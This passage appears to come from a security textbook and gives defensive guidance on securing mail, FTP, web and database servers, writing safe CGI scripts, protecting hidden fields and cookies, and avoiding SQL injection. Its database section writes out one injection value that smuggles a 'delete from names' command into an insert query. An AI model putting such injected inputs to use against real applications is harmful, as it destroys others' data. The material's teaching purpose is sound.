These tools check for well-known security-related bugs in network programs such as *sendmail* and *ftpd*. Your computers are certainly being scanned by crackers interested in breaking into your systems, so you might as well run these programs yourselves. Among the most powerful freely available tools for Unix operating systems is Nessus (http://www.nessus.org). SomarSoft (*http://www.somarsoft.com*) offers several tools for analyzing information culled from Windows NT logs and databases. KSA, mentioned above, also provides analysis and integrity checking for NT environments. Another powerful scanning program is nmap (http://www.insecure.org/nmap), which scans for open network ports, can map networks, and can often identify the operating system of a computer by its responses to network scans.

Intrusion detection systems

Intrusion detection system (IDS) programs are the operating system equivalent of burglar alarms. As their name implies, these tools scan a computer as it runs, watching for the tell-tale signs of a break-in.

Intrusion detection systems can either be host-based or network-based. A host-based system looks for intrusions on that particular host. Most of these programs rely on secure auditing systems built into the operating system. Network-based systems monitor a network for the tell-tale signs of a break-in on another computer. Most of these systems are essentially sophisticated network monitoring systems that use Ethernet interfaces as packet sniffers. An example of a sophisticated free network IDS is Snort (http://www.snort.org).

Virus scanners

There is a huge market for antivirus tools in the Windows environment. When choosing antivirus software, consider not only the product's features, but what kind of support it provides for updating the list of viruses that it can recognize. Many commercial virus scanners use a subscription model, in which you can download weekly updates to the virus engine as long as you maintain a subscription.

Antivirus tools are not needed for Unix or Linux systems—there are only three or four reported viruses for these platforms, and they do not spread well. An integrity monitor (such as Tripwire) will also perform any antivirus function needed on these platforms as a side-effect of the way it works. Similarly, older Mac OS systems primarily need antivirus tools to combat macro viruses in Microsoft Office products.

On the other hand, a Unix-based mail server can serve as an antivirus gateway to protect Windows mail clients. Several antivirus engines detect Windows viruses but run on Unix machines for just this purpose.

Network recording and logging tools

Network recording and logging tools record all of the traffic that passes over a network, preserving it for retrospective analysis. These systems are typically run on computers with large disks. (An 80-gigabyte hard disk, for example, can store nearly two weeks of typical traffic sent over a T1 line.) In the event of a break-in or other incident, the recorded traffic can be analyzed.

Securing Mail Servers

Mail servers are often the most important servers in any organization. When mail servers are down, a major communication link between the organization's clients, vendors, and employees is severed. When mail servers are compromised, private and confidential information is quickly exposed. Although the usual host security measures apply to mail servers, several special considerations arise.

Choosing a Mail Transport Agent

The *mail transport agent* (MTA) is the software that is responsible for receiving and relaying e-mail. At one end, it communicates with *mail user agents* that connect to the transport agent to send e-mail. At the other, it communicates with *mail delivery agents* that perform the final delivery of e-mail to its destination. An MTA must be properly configured so that it will accept mail to and from the proper users and no others.

For Unix-based mail servers, the leading MTAs include *sendmail, postfix, qmail,* and *exim*. *Sendmail* is the oldest, best known, and most widely used MTA; it also has the worst security record, in large part because it was designed at a time when the Internet was young and performance was more important than security. *Postfix, qmail,* and *exim*, on the other hand, were designed from the start with security in mind. If you make one security-related decision for your mail servers, it should be to run something other than *sendmail*; if you must run *sendmail*, read its extensive documentation carefully, as well as the O'Reilly and Associates Sendmail book, and be paranoid about configuration. Both postfix and exim can replace an existing sendmail-based system fairly painlessly.

Windows-based mail servers may use such MTAs as *Imail* or *Microsoft Exchange Server*. Historically, Windows MTAs have not done a good job of complying with Internet standards, and have only a mediocre security record.

Spam

Unsolicited commercial e-mail (commonly referred to as "spam") has become a pervasive and costly problem. When providing e-mail services, it is imperative to insure that neither outsiders nor authorized users can use your systems to send spam.

Controlling access by outsiders is relatively easy if you use current versions of your MTA software. All major MTAs now come with default configurations that will cause them to refuse to relay e-mail unless it's destined for a local user or sent by a trusted machine. A "trusted machine" usually means a machine with a given IP address (which is only trustworthy when the machine is inside the perimeter of a firewall that prevents IP spoofing), but can also mean a machine that can authenticate itself to the server cryptographically.

Cryptographic authentication is often used by mail clients on laptops or other machines that receive their IP addresses dynamically. One widely-used approach is the SMTP AUTH protocol, an extension of SMTP that provides for

authentication using one of the mechanisms in the Simple Authentication and Security Layer described in RFC2222. Another is to issue TLS client certificates to clients and use the STARTTLS extension to authenticate them.[231]

Insiders who send spam can inundate your organization's network bandwidth and can quickly damage your reputation or even leave you open to legal action.[232] A key control on spam by insiders is to insure that they can only send outgoing mail through mail servers that you control and monitor. An effective way to do this is to block outgoing connections to TCP port 25 (the SMTP service's port) at your firewall, and then only allow your mail servers to make such connections.

Confidentiality and Integrity

Most MTAs can be configured to allow (or require) TLS-encrypted connections. The SMTP protocol has been extended to include a STARTTLS operation that initiates a TLS handshake in the SMTP dialogue. Using TLS is highly recommended, as it protects both the confidentiality and integrity of the messages "on the wire", as well as offering additional assurance that the client is connecting to the authentic SMTP server it expects.

Similarly, if you provide POP or IMAP mailbox service to your users, most current POP/IMAP clients can make SSL/TLS encrypted connections to your POP/IMAP server, if you configure it to accept (or require) them. Because these protocols, by default, transmit passwords without encryption, requiring SSL/TLS connections provides significant protection for the user as well as their messages.[233]

Another alternative to unencrypted POP/IMAP service is to provide users with access to their e-mail through their web browser by using a "webmail" system. A major advantage of webmail is that the web server can be secured by SSL/TLS, and all web browsers are capable of taking advantage of the secure connection.

Securing Anonymous FTP Servers

The FTP protocol presents several problems to system administrators – so many, in fact, that the best practice today is not to run an FTP server at all. Instead, allow outsiders to download files through a web server, and require insiders to transfer files using *scp* or *sftp* (part of the *ssh* suite) or SSL-secured Web-DAV.

If you must run an anonymous FTP server to permit outsiders to download or upload files, follow these guidelines:

- Carefully read your FTP server's documentation for how to properly set up the anonymous file area so that anonymous users can only download from directories you specify and cannot delete files, rename files, or modify directory structures.
- Avoid providing convenience executables like compression or archive programs that might have exploitable vulnerabilities. On Unix systems, if your FTP server provides its own directory display functionality, don't even provide an ls executable.
- If your FTP server uses a password file to associate the uids of file owners with their login names, don't use your server's actual password file. Instead, make a dummy file that lists only the information you must (or don't use a file at all and let clients see uids).
- If you allow file uploads, allow them in separate directories from the download directories, and be sure that users cannot download the uploaded files. This prevents your FTP site from being used to traffic in illegal software or other files. You should also insure that uploaded files cannot have special characters in their filenames and that the upload area is on a separate disk partition to prevent a denial of service attack through overflowing the disk.

[231] Another popular, if less inherently secure, approach is POP-before-SMTP. In this approach, clients must first check their e-mail via POP, which records their IP address. The SMTP server then allows relaying from the recorded IP addresses for a limited time. This approach can be convenient, but is less secure unless the POP connection is itself encrypted.

[232] In fact, the huge amount of spam that originates from countries with ineffective legal remedies has significantly damaged the reputation of entire nations to the degree that many mail administrators routinely refuse any e-mail originating from these countries.

[233] Both POP and IMAP do support authentication mechanisms that don't transmit unencrypted passwords on the network, but most of these are more tedious to enable than SSL/TLS, and don't provide the privacy or integrity protection of message encryption.

Don't provide non-anonymous FTP service at all unless you can protect it with a VPN tunnel or a cryptographic wrapper like SafeTP (http://safetp.cs.berkeley.edu).

Securing Web Servers

When it comes to serving web pages, the general rules of server security apply. Choose an operating system and a web server application with a good security philosophy and a good security record. Carefully read the web server's documentation, particularly around security issues. Disable any guest logins and limit the number of users with accounts on the web server to those who require them. Disable administrative logins from the network. On a Windows system, if you must administer the server remotely, change the name of the "Administrator" account to something more difficult to guess. On a Unix system, disable root logins and require users to use the su program for administration.

There are, however, several security issues specific to running web servers. Most notable are data confidentiality, server-side scripting and content updating.

Data Confidentiality

If you will be transmitting sensitive information, get an SSL certificate and use an SSL-enabled web server (both Apache and IIS can be configured to use SSL). If you're designing an intranet application (or an Internet application that's restricted to your clients or employees), you can use a self-signed SSL certificate or set up your own certificate authority. Otherwise, you'll probably need to invest in SSL certificates from a well known certificate authority like VeriSign, whose signing certificate is bundled with major web browsers. See chapter 5-4 for more information about SSL certificates.

If you don't use SSL, the entire HTTP transaction occurs unencrypted, including the usernames and passwords used in "basic" HTTP authentication and any form fields that the client transmits. In most cases, if you plan to authenticate the user you should implement SSL to protect the transaction.

Server-Side Scripting

Web servers are fine programs for displaying static information such as brochures, FAQs, and product catalogs. But applications that are customized for the user or that implement business logic (such as shopping carts) require that servers be extended with specialized code that executes each time the web page is fetched. This code most often takes the form of *scripts* or *programs* that are run when a particular URL is accessed. There is no limit to what a good programming team can do with a web server, a programming language, and enough time. Unfortunately, programs that provide additional functionality over the Web can have flaws that allow attackers to compromise the system on which the web server is running. These flaws are rarely evident when the program is run as intended.

There are four primary techniques that web developers can use to create web-based applications:

CGI
The Common Gateway Interface (CGI) was the first means of extending web servers. When a URL referencing a CGI program is requested from the web server, the web server runs the CGI program in a separate process, captures the program's output, and sends the results to the requesting web browser. Parameters to the CGI programs are encoded as environment variables and also provided to the program on standard input.

CGI programs can perform database queries and display the results, allow people to perform complex financial calculations, and allow web users to "chat" with others on the Internet. Indeed, practically every innovative use of

the World Wide Web, from web search engines to web pages that let you track the status of overnight packages, was originally written using the CGI interface.

Plug-ins, loadable modules, and Application Programmer Interfaces (APIs)
The second technique developed to extend web servers involved modifying the web server with extension modules, usually written in C or C++. The extension module was then loaded into the web server at runtime. Plug-ins, modules, and APIs are a faster way to interface custom programs to web servers because they do not require that a new process be started for each web interaction. Instead, the web server process itself runs application code within its own address space that is invoked through a documented interface. But these techniques have a distinct disadvantage: the plug-in code can be very difficult to write, and a single bug can cause the entire web server to crash.

Embedded scripting languages
Web-based scripting languages were the third technique developed for adding programmatic functionality to web pages. These systems allow developers to place small programs, usually called scripts, directly into the web page. An interpreter embedded in the web server runs the program contained on the web page before the resulting code is sent to the web browser. Embedded scripts tend to be quite fast. Microsoft's ASP, PHP, server-side JavaScript, and *mod_perl* are all examples of embedded scripting languages.

Embedded web server
Finally, some systems do away with the web server completely and embed their own HTTP server into the web application itself.

Largely as a result of their power, the extension techniques enumerated here can completely compromise the security of your web server and the host on which it is running. That's because potentially any program can be run through these interfaces. This includes programs that have security problems, programs that give outsiders access to your computer, and even programs that change or erase critical files on your system.

Two techniques can limit the damage that can be caused by web applications:
- The programs themselves should be designed and inspected to ensure that they can perform only the desired functions.
- The programs should be run in a restricted environment. If these programs can be subverted by an attacker to do something unexpected, the damage that they could do will be limited.

On operating systems that allow for multiple users running at multiple authorization levels, web servers are normally run under a restricted account, usually the *nobody* or the *httpd* user. Programs that are spawned from the web server through either CGI or API interfaces are then run as the same restricted user.[234]

Unfortunately, other operating systems do not have the same notion of restricted users. On Windows 3.1, Windows 95/98/ME, and the Mac OS 7–9 operating systems prior to Mac OS X, there is no easy way for the operating system to restrict the reach of a CGI program.

Programs That Should Not Be CGIs

Interpreters, shells, scripting engines, and other extensible programs should never appear in a CGI scripting directory (e.g. *cgi-bin*), nor should they be located elsewhere on a computer where they might be invoked by a request to the web server process. Programs that are installed in this way allow attackers to run any program they wish on your computer.

[234] In a multiuser environment, such as a web server at an ISP or a university, it is common practice to use the cgiwrap script so that CGI programs are run with the author's permissions, rather than with the web server's.

For example, on Windows-based systems the Perl executable *PERL.EXE* should never appear in the CGI script directory. It is easy to probe a computer to see if it has been improperly configured. To make matters worse, some search engines can be used to find vulnerable machines automatically. Unfortunately, many Windows-based web servers have been configured this way because it makes it easier to set up Perl scripts on these servers.
Another source of concern are programs or scripts that are distributed with web servers and later found to have security flaws. Because webmasters rarely delete programs that are part of the default installation—it can be quite difficult to find out if a script is in use or not—these dangerous programs and scripts may persist for months or even years, even if new versions of the web server are installed that do not contain the bug.

To protect yourself from programs, scripts, and CGIs in which security faults may be later discovered, move *all* of the programs that are installed by default with your web sever into a directory where they cannot be accessed, and only restore the programs when they are specifically needed.

Unintended Side Effects

Security problems in scripts can remain dormant for years before they are exploited. Sometimes, obscure security holes may even be inserted by the programmer who first wrote the scripts—a sort of "back door" that allows the programmer to gain access in the future, should the programmer's legitimate means of access be lost. In other cases, the security hole is the result of an unintended side effect of the script.

Unintended side effects can often be prevented by distrusting any input that comes from outside of the program – from a user's entries in a web form, from environment variables, from cookies, or anywhere else. Any outside input should be filtered to extract only legal characters, and then checked to insure that it is sensible.

It's important to design filters that filter in a list of acceptable characters and reject all others, rather than rejecting a list of bad characters and accepting all others. The former approach is much more secure, as it can be difficult to anticipate all of the possible bad characters (and some characters that aren't bad now may one day become so!) For example, many older applications did not anticipate the possible of Unicode characters.

See chapter 16 of Garfinkel's Web Security, Privacy, and Commerce, 2nd Edition for more examples of unintended side effects.

General Principles for Writing Secure Scripts

The principles below represent the current best practices for writing shell scripts:

1. Carefully design the program before you start. Be certain that you understand what you are trying to build. Carefully consider the environment in which it will run, the input and output behavior, files used, arguments recognized, signals caught, and other aspects of behavior. List all of the errors that might occur, and how your program will deal with them. Write a code specification in English (or your native language) before writing the code in the computer language of your choice.
2. Show the specification to another person. Before you start writing code, show the specification that you have written to another programmer. Make sure they can understand the specification and that they think it will work. If you can't convince another programmer that your paper design will work, you should go back to the design phase and make your specification clearer. The time you spend now will be repaid many times over in the future.
3. Choose a scripting language that provides safety features for CGI scripting and that prevents buffer overflow errors. Perl, python, and Ruby are good choices. C and C++ are generally a poor choice. Never write CGI scripts for a shell interpreter like */bin/sh*.
4. Whenever possible, reuse code. Don't write your own CGI library when you can use one that's already been debugged. But beware of reusing code that contains Trojan horses.

5. Write and test small sections at a time. As you start to write your program, start small and test frequently. When you test your sections, test them with both expected data and unexpected data. Where practical, functions should validate their arguments and perform reasonable actions (such as exiting with an error message or returning an error code) when presented with unreasonable data. A large number of security-related programs are simply bugs that have exploitable consequences. By writing code that is more reliable, you will also be writing code that is more secure.
6. Check all values provided by the user. An astonishing number of security-related bugs arise because an attacker sends an unexpected value or an unanticipated format to a program or a function within a program. A simple way to avoid these types of problems is by having your scripts always check and validate all of their arguments. Argument checking will not noticeably slow your scripts, but it will make them less susceptible to hostile users. As an added benefit, argument checking and error reporting will make the process of catching nonsecurity-related bugs easier.
7. Check arguments that you pass to operating system functions. Even though your program is calling the system function, you should check the arguments to be sure that they are what you expect them to be. For example, if you think that your program is opening a file in the current directory, you might want to use the *index()* function in C or Perl to see if the filename contains a slash character (/). If the file contains a slash, and it shouldn't, the program shouldn't open the file.
8. Check all return codes from system calls. The POSIX programming specification (which is followed by both C and Perl) requires that every system call provide a return code. Even system calls that you think cannot fail, such as *write()*, *chdir()*, or *chown()* can fail under exceptional circumstances and return appropriate return codes. When a call fails, check the *errno* variable to determine why it failed. Have your program log the unexpected value and then cleanly terminate if the system call fails for any unexpected reason. This approach will be a great help in tracking down both programming bugs and security problems later on.
9. Have internal consistency-checking code. If you think that a variable inside your program can only have the values 1, 2, or 3, check to ensure that it does, and generate an error condition if it does not. (You can do this easily using the *assert* macro if you are programming in C.)
10. Include lots of logging. You are usually better off having too much logging rather than too little. Rather than simply writing the results to standard error, and relying on your web server's log file, report your log information to a dedicated log file. It will make it easier for you to find the problems. Alternatively, consider using the *syslog* facility (under Unix), so that logs can be redirected to users or files, piped to programs, and/or sent to other machines.
11. Make the critical portion of your program as small and as simple as possible.
12. Always use full pathnames for any filename argument, for both commands and data files. Rather than depending on the current directory, set it yourself.
13. Be aware of race conditions. These can be manifest as a deadlock or as failure of two calls to execute in close sequence:

    Deadlock conditions

    Remember that more than one copy of your program may be running at the same time. Use file locking for any files that you modify. Provide a way to recover the locks in the event that the program crashes while a lock is held. Avoid deadlocks or "deadly embraces," which can occur when one program attempts to lock file A and then file B, while another program already holds a lock for file B and then attempts to lock file A.

    Sequence conditions

    Be aware that your program does not execute atomically. That is, the program can be interrupted between any two operations to let another program run for a while—including one that is trying to abuse yours. Thus, check your code carefully for any pair of operations that might fail if arbitrary code is executed between them.

    In particular, when you are performing a series of operations on a file such as changing its owner, stating the file, or changing its mode, first open the file and then use the *fchown()*, *fstat()*, or *fchmod()* system calls. Doing so will prevent the file from being replaced while your program is running (a possible race condition).

Also avoid the use of the *access()* function to determine your ability to access a file: using the *access()* function followed by an *open()* is a race condition, and almost always a bug.

14. Don't have your program dump core except during your testing. Core files can fill up a filesystem. Core files can contain confidential information. In some cases, an attacker can actually use the fact that a program dumps core to break into a system. Instead of dumping core, have your program log the appropriate problem and exit. Use the *setrlimit()* function to limit the size of the core file to 0.
15. Do not create files in world-writable directories. If your script needs to run as the *nobody* user, then have the directory in which it needs to create files owned by the *nobody* user. Give each script, or at the very least each subsystem, its own namespace for temporary files. (You can do this by giving each script its own directory for temporary files, or else by having each script prepend its temporary files with its own name.) Do not store temporary files in the */tmp* directory if the web server is also used as a general host for Unix shell activities.
16. Don't place undue reliance on the source IP address in the packets of connections you receive. Addresses may be forged, altered, or hijacked with proxy servers.
17. Include some form of load shedding or load limiting in your server to handle cases of excessive load. For example, you can have the script check the load and exit with a polite error message if the load is over 5. This will make it harder for an attacker to launch a denial-of-service attack against your server by repeatedly calling the same script. It will also protect your server from a failure mode if hundreds of users all hit the "reload" button on a slow-running script in an effort to make it run faster.
18. Put reasonable time-outs on the clock time used by your script while it is running. Your program may become blocked for any number of reasons; for example, a read request from a remote server may hang or the user's web browser may not accept information that you send to it. An easy technique to solve both of these problems is to put hard limits on the amount of real time that your CGI script can use. Once it uses more than its allotted amount of real time, it should clean up and exit. Most modern systems support some call to set such a limit.
19. Put reasonable limits on the CPU time used by your CGI script while it is running. A bug in your CGI script may put it in an infinite loop. To protect your users and your server against this possibility, you should place a hard limit on the total amount of CPU time that the CGI script can consume.
20. Do not require the user to send a reusable password in plaintext over the network connection to authenticate herself. If you use usernames and passwords, use a cryptographically enabled web server so that the password is not sent in plaintext. Alternatively, use client-side certificates to provide authentication. If your users access an Internet Information Server web server through Internet Explorer, then you can use the NT challenge/response (NTLM), a Microsoft proprietary modification to the HTTP protocol. Finally, you can use HTTP Digest Authentication, which has an MD5 MAC to verify a shared password between the web server and the web browser. Apache 2.0 and above support Digest-based authentication with the *mod_ auth_digest* module; support in many browsers is increasing. The primary disadvantage of digest authentication is that it requires the web server to maintain an essentially unencrypted copy of each user's password. For details on digest authentication, search for the AuthDigestFile directive in the Apache documentation, or look at *http://www.apache.org/docs-2.0/mod/mod_auth_digest.html*.
21. Read through your code. Think of how you might attack it yourself. What happens if the program gets unexpected input? What happens if you are able to delay the program between two system calls?

Remember, most security flaws are actually programming faults. In a way, this is good news for programmers. When you make your program more secure, you'll simultaneously be making it more reliable.

Securely Using Fields, Hidden Fields, and Cookies

One of the reasons that it can be difficult to develop secure web applications has to do with the very architecture of web applications. When you develop an application, you generally write a body of code that runs locally on the web server and a much smaller body of code that is downloaded and run remotely on the user's web browser. You

might spend a lot of time making sure that these two code bases work properly together. For example, it's very important to make sure that the field names downloaded in web forms exactly match the field names that server-side scripts are expecting. And you will probably spend time making sure that the HTML forms, JavaScript, and other codes that are downloaded to the browser work properly on a wide range of different browser programs.
Even in the best of times, it can be difficult to get software on the web browser and the web server to properly synchronize and interoperate. What makes this whole process difficult from the security perspective is that attackers, by definition, don't play by the rules. Sure, they can run your HTML forms and JavaScript in well-behaved browsers, but they can also pick apart the code, analyze it, and send completely made-up responses back to your web server. These sorts of attacks are difficult to detect because they are very hard for normal web developers to test against—after all, most web developers don't have a stable of CGI-script attack tools.

There is nothing inherently wrong with storing this information on the web browser instead of the web server; indeed, storing this information on the browser eliminates the need for a backend database, user tracking, and a lot of other technology. But if you store information on the user's web browser, you must validate this information when it is passed back to the web server to make sure that it has not been modified.

Many programmers do not realize the need to validate information returned from the web browser to the server. For example, in December 1999 engineers at Internet Security Systems (ISS) discovered that many e-commerce scripts *from different vendors* all shared a common vulnerability: they maintained the shopping cart, complete with the price for each item, on the user's web browser without using any form of validation.[235] When an invoice was prepared and a credit card charged, they blindly trusted the prices provided by the shopping carts. Thus, any attacker who wanted to give himself a discount could simply go shopping, save the server's HTML onto his hard drive, edit the prices, and then click on the "Buy" button.

In a Spring 2001 study,[236] four MIT graduate students discovered that many e-commerce sites did not properly validate the information in cookies. As a result, they were able to make subtle modifications in the cookies at e-commerce sites and gain access to unauthorized information.

Using Fields Securely

When checking arguments in your program, pay special attention to the following:

- Filter the contents of every field, selecting the characters that are appropriate for each response. For example, if a field is supposed to be a credit card number, select out the characters 0–9 and leave all other characters behind. This will also allow people to enter their credit card numbers with spaces or dashes.
- After you filter, check the length of every argument. If the length is incorrect, do not proceed, but instead generate an error.
- If you use a selection list, make certain that the value provided by the user was one of the legal values. Attackers can provide any value that they wish: they are not constrained by the allowable values in the selection list.
- Even if your forms use JavaScript to validate the contents of a form before it is submitted, be sure that you revalidate the contents on the server. An attacker can easily turn off JavaScript or bypass it entirely.

Hidden Fields and Compound URLs

A *hidden field* is a field that the web server sends to the web browser that is not displayed on the user's web page. Instead, the field merely sits in the browser's memory. When the form on the page is sent back to the server, the field and its contents are sent back.

[235] ISS reported the security problem to the 11 vendors in December 1999, then released the information about the vulnerability to the press in February 2000. For further information, see http://www.cnn.com/2000/TECH/ computing/02/04/shop.glitch.idg/.
[236] See "Dos and Don'ts of Client Authentication on the Web," USENIX and MIT Technical Report 818, by Kevin Fu, Emil Sit, Kendra Smith, and Nick Feamster.

Some web developers use hidden fields to store information that is used for session tracking on e-commerce systems. For example, instead of using HTTP Basic Authentication, developers sometimes embed the username and password provided by the user as hidden fields in all future form entries:

```
<INPUT TYPE="hidden" NAME="username" VALUE="simsong">
<INPUT TYPE="hidden" NAME="password" VALUE="myauth11">
```

Hidden fields can also be used to implement a shopping cart:

```
<INPUT TYPE="hidden" NAME="items" VALUE="3">
<INPUT TYPE="hidden" NAME="item1" VALUE="Book of Secrets:$4.99">
<INPUT TYPE="hidden" NAME="item2" VALUE="Nasty Software:$45.32">
<INPUT TYPE="hidden" NAME="item3" VALUE="Helping Hand:$32.23">
```

Instead of embedding this information in hidden fields, it can be placed directly in the URL. These URLs will then be interpreted as if they were forms that were posted using the HTTP GET protocol. For example, this URL embeds a username and password:

http://www.vineyard.net/cgi-bin/password_tester?username=simsong&password=myauth11

It's quite easy to use hidden fields. Little or no information needs to be stored on the server. And unlike cookies, which are limited to 4096 bytes, hidden fields can be practically any length whatsoever.

There are problems with using hidden fields in this way, however:

- If the user presses the "Back" button, items may be removed from the shopping cart. Sometimes this is the desired behavior, but usually it is not.
- HTML pages used by one person might be viewed by other people, possibly because the computer is shared. In this circumstance, the first user's username, password, or shopping cart contents might be disclosed.
- If you use URLs to embed information, the complete URL—including the *embedded information*—will be stored in the web server's log files. The full URL may also be passed by the user's browser in the referrer [sic] header when the user accesses another web server. This may compromise the user's privacy and/or security.
- In the vast majority of cases, the contents of the hidden field received by the web server are identical to what was originally provided. But there is no guarantee. An attacker can save your HTML to a file, analyze the form, and issue his own HTTP GET or POST command with whatever contents he desires. An attacker can also submit the same web page over and over, with slight modifications, probing for vulnerabilities. There is no way to stop this sort of behavior, so you must defend against it.
- If the HTTP connection is not SSL-encrypted, an attacker who can intercept the data may gain access to authentication credentials or other sensitive information.

Using Cookies

One attractive alternative to using hidden fields or URLs is to store information such as usernames, passwords, shopping cart contents, and so on, in HTTP cookies.

Users can modify their cookies, so cookies used for user tracking, shopping carts, and other types of e-commerce applications have all of the same problems described for hidden fields or compound URLs. But cookies also have problems all their own, including:

- Old cookies may continue to be used, even after they have "expired."
- Users may make long-term copies of cookies that are supposed to remain ephemeral and not ever be copied onto a hard drive.
- Some users are suspicious of cookies and simply turn off the feature.

Using Cryptography to Strengthen Hidden Fields, Compound URLs, and Cookies

Many of the problems discussed above can be solved by using cryptography to protect the information in hidden fields, compound URLs, and cookies. Cryptography can:

- Prevent users from understanding the information stored on their computer.
- Allow web server applications to detect unauthorized or accidental changes to this information.

Here are examples from the previous sections, recoded to use cryptography.

Username and password authentication:

```
<INPUT TYPE="hidden" NAME="auth"
VALUE="p6e6J6FwQOk0tqLFTFYq5EXR03GQ1wYWG0ZsVnk09yv7ItIHG17yml s4UM%2F1bwHyg
Rhp7ECawzUm%0AKl3Q%2BKRYhlmGILFtbde8%0A:">
```

A secure shopping cart:

```
<INPUT TYPE="hidden" NAME="cart"
VALUE="fLkrNxpQ9GKv9%2FrAvnLhuLnNDAV50KhNPjPhqG6fMJoJ5kCQ5u1gh0ij8JBqphBxdGV
NOdja41XJ%0APLsT%2Bt1kydWN4Q%2BO9pW0yR9eIPLrzaDsZxauNPEe7cymPmXwd%2B6c1L49u
TwdNTKoS0XAThDzow%3D%3D%0A:">
```

A compound URL:

```
http://www.vineyard.net/cgi-bin/password_
tester?p6e6J6FwQOk0tqLFTFYq5EXR03GQ1wYWG0ZsVnk09yv7ItIHG17yml s4UM%2F1bwHygRhp7
ECawzUm%0AKl3Q%2BKRYhlmGILFtbde8%0A:
```

In each of these cases, the individual human-readable variables have been replaced with a cryptographic block of information. This block is created with the following procedure:

1. Take the individual variables that need to be preserved and encode them as a string. This is called *marshalling*.
2. Prepend a 4-byte timestamp to these variables. The timestamp protects against replay attacks.
3. Compress the data. This saves space.
4. Prepend the length of the string to the data. This is required for decryption with block cipher.
5. Encrypt the string using a symmetric encryption function with a secret key.
6. Calculate an HMAC function of this encrypted string and prepend it to the encrypted string. The HMAC protects all encrypted, compressed, and marshaled data.
7. Encode the resulting string with Base64, then escape the non-URL characters and return the resulting string.
8. Use this escaped, Base64-encoded, encrypted, compressed string for hidden fields, compound URLs, and cookies.

To decode and validate this encrypted string, simply follow these steps in reverse:

1. Isolate the escaped, Base64-encoded, encrypted, compressed string from the hidden field, compound URL, or cookie.
2. Unescape the Base64 representation.
3. Remove the Base64 coding.
4. Verify the HMAC. If it doesn't verify, then the string has been tampered with. Report an error and return.
5. Unencrypt the data.
6. Recover the length and use this to truncate the unencrypted data to the original length. This step is needed because block encryption functions will append null bytes to data to pad it out to an even block.
7. Decompress the compressed data.
8. Recover the timestamp from the beginning of the uncompressed data. If the timestamp is too old, disregard.

9. Return the remaining data to the caller, which will decode all of the original variables from the string.

This looks tremendously complicated and computationally intensive, but in fact, it is quite easy to code up and can run very quickly, as MD5 and symmetric encryption functions are quite fast. There are also ready-made libraries for doing this, such as CGI::EncryptForm for perl.

Connecting to Databases

It is common for a CGI program or script to connect to databases that are external to the web server. External databases can be used for many purposes, such as storing user preferences, implementing shopping carts, and even order processing. When the script runs, it opens a connection to the database, issues a query, gets the result, and then uses the result to formulate a response to the user. On some systems, a new database connection is created each time a new script is run. Other systems maintain a small number of persistent connections that are cached.

Database-backed web sites give a tremendous amount of power and flexibility to the web designer. Unfortunately, this approach can also reduce the overall security of the system: many security breaches have happened because an attacker was able to execute arbitrary SQL commands on the database server and view the results. If you deploy a database server to supplement your web site, it is important to be sure that the server is deployed and used securely.

Protect Account Information

Before the database server provides results to the script running on the web server, the server needs to authenticate the script to make sure it is authorized to access the information. Most databases use a simple username/password for account authentication, which means the script needs to have a valid username/password and present this information to the database server each time a request is issued.

Among many developers it is common practice to simply code the username and password into the scripts that require access to the database server. Unfortunately, this practice has several problems:

- If an attacker is able to view the script, the attacker will learn the username and password.
- If many scripts require access to the username and password, then it must be stored in several scripts.
- Changing the username and password requires modifying the script. When the script is modified, other changes may be made inadvertently.

Instead of storing the database username and password in the script, a better approach is to store this information in a file on the web server. This approach isolates the authentication information from the script that is performing the database request, which improves both maintainability and security. The server script then opens this file and reads the username and password prior to issuing a database request.

Remember that if the database server is not on the same host as the web server, those usernames and passwords will be transmitted over the network between the hosts. Be sure to use a database that allows for encrypted remote connections or another form of authentication that does not transmit cleartext passwords.

Use Filtering and Quoting to Screen Out Raw SQL

As we mentioned earlier, it is extremely important to filter all data from the user to make sure that it contains only allowable characters. When working with SQL servers, it is further important to properly quote data provided by the user before sending the data to the server. These procedures are used to prevent users from constructing their own SQL commands and sending that data to the SQL server.

For example, if you have a web form that asks a person for his name and then stores this information into a database, it might be tempting to simply take the person's name from a field, put that field into a variable called *$name*, and then construct a SQL command using this variable. Consider this perl snippet:

```
$name = param('name');
sql_send("insert into names (name) value ('$name');");
```

Unfortunately, this is not safe: an attacker who has knowledge of your application can provide a specially crafted name that results in arbitrary SQL commands being executed. Consider this name:

```
John Smith')"; delete from names;
```

When this name is used to build the SQL command, the resultant string will actually be interpreted as three commands—one that makes an insertion into the database, a second that deletes all of the data in the names table, and a third that contains a syntax error:

```
insert into names (name) value ('John Smith')"; delete from names; ');
```

Given this text, most SQL servers will insert a record into the *names* table, delete all of the data, and then report a SQL error.

The way to protect scripts from these kinds of attacks is to make sure that you first carefully filter incoming data, and that you next quote all of the remaining data properly before sending it to the SQL server.

Quoting is best done with a separate function that is always called whenever any string is sent to the SQL server. If you are using the Perl language and the DBI package, most of the database drivers provide a *quote* method on the database handle that performs such quoting. You use it like this:

```
# $dbh is a DBI object that represents a handle to an open database connection
$qname = $dbh->quote(param('name'));
$dbh->do("insert into name (name) value($qname)");
```

Another approach is to precompile your SQL queries using variable binding. Variable binding allows you to precompile SQL queries with placeholders instead of actual variables. To return to our original example, you might compile the query using a hypothetical SQL interface that uses the @ sign as a placeholder for variables:

```
$func = sql_compile("insert into name (name) value (@)");
```

You might then execute this query with some other hypothetical function:

```
$name = param('name');
sql_bind($func,1,$name);   # bind the variable name to the first variable
sql_exec($func);           # execute the bound function
```

Using the DBI package, you often write it like this:

```
# Insertion example
$name = param('name');
$dbh->do("insert into name (name) value (?)", undef, $name);

# Selection example
$sth = $dbh->prepare("select * from name where id = ?");
$sth->execute($name);
```

Different systems will have different syntaxes and APIs for compiling, binding, and executing SQL queries.

Content Updating

How will your users update the web server's content? In the early days of the World Wide Web, most content was created live on web servers by programmers and developers using text (or HTML) editors. These days most content is created on desktop PCs and Macs and then uploaded to the web server. This upload is fundamentally a file transfer operation, and thus subject to eavesdropping. As discussed above, you should require users to use a secure file transfer system, such as *scp*, Web-DAV over SSL, or insecure file transfer programs running over a virtual private network. In some cases, physical transfer by means of floppy disks or CD-ROMs may be preferable to any form of network transfer.

Securing Database Servers

If you use a database back-end, it is important that you protect the database server itself. If the database server runs on the same host as the web server, insure that it does not allow network access. If the database server runs on a separate host, consider these protections:

- Configure your firewall or network topology so that it is impossible for people out-side your organization to access your database server. For example, you may wish to set up your web server with two Ethernet adapters—one that connects to the Internet, and one that connects to a small firewall appliance that, in turn, connects to your database server. The firewall should be set up so that only database queries can pass between the web server and the database server.
- Make sure logins on the database server are limited. The individuals with login capabilities should be the system administrator and the database administrator.
